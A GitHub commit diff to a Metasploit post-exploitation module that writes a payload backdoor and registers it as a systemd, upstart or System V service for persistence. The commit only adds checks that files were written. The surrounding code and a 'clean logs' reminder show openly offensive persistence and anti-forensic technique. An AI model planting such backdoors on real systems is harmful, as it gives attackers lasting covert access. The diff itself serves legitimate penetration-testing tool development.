Skip to content

Commit f98b40d

Browse files
committed
adds check on service writing before running it
1 parent 8d3eebf commit f98b40d

File tree

1 file changed

+22
-2
lines changed

1 file changed

+22
-2
lines changed

modules/exploits/linux/local/service_persistence.rb

Lines changed: 22 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -81,6 +81,9 @@ def initialize(info = {})
8181

8282
def exploit
8383
backdoor = write_shell(datastore['SHELLPATH'])
84+
if backdoor.nil?
85+
return
86+
end
8487
path = backdoor.split('/')[0...-1].join('/')
8588
file = backdoor.split('/')[-1]
8689
case target.name
@@ -120,8 +123,13 @@ def write_shell(path)
120123
backdoor = "#{path}/#{file_name}"
121124
vprint_status("Writing backdoor to #{backdoor}")
122125
write_file(backdoor, payload.encoded)
123-
cmd_exec("chmod 711 #{backdoor}")
124-
backdoor
126+
if file_exist?(backdoor)
127+
cmd_exec("chmod 711 #{backdoor}")
128+
backdoor
129+
else
130+
print_error('File not written, check permissions.')
131+
return
132+
end
125133
end
126134

127135
def systemd(backdoor_path, backdoor_file)
@@ -141,6 +149,10 @@ def systemd(backdoor_path, backdoor_file)
141149
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
142150
vprint_status("Writing service: /lib/systemd/system/#{service_filename}.service")
143151
write_file("/lib/systemd/system/#{service_filename}.service", script)
152+
if !file_exist?(backdoor)
153+
print_error('File not written, check permissions.')
154+
return
155+
end
144156
vprint_status('Enabling service')
145157
cmd_exec("systemctl enable #{service_filename}.service")
146158
vprint_status('Starting service')
@@ -164,6 +176,10 @@ def upstart(backdoor_path, backdoor_file, runlevel)
164176
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
165177
vprint_status("Writing service: /etc/init/#{service_filename}.conf")
166178
write_file("/etc/init/#{service_filename}.conf", script)
179+
if !file_exist?(backdoor)
180+
print_error('File not written, check permissions.')
181+
return
182+
end
167183
vprint_status('Starting service')
168184
cmd_exec("initctl start #{service_filename}")
169185
vprint_status("Dont forget to clean logs: /var/log/upstart/#{service_filename}.log")
@@ -269,6 +285,10 @@ def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
269285
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
270286
vprint_status("Writing service: /etc/init.d/#{service_filename}")
271287
write_file("/etc/init.d/#{service_filename}", script)
288+
if !file_exist?(backdoor)
289+
print_error('File not written, check permissions.')
290+
return
291+
end
272292
cmd_exec("chmod 755 /etc/init.d/#{service_filename}")
273293
vprint_status('Enabling & starting our service')
274294
if has_updatercd

0 commit comments

Comments
 (0)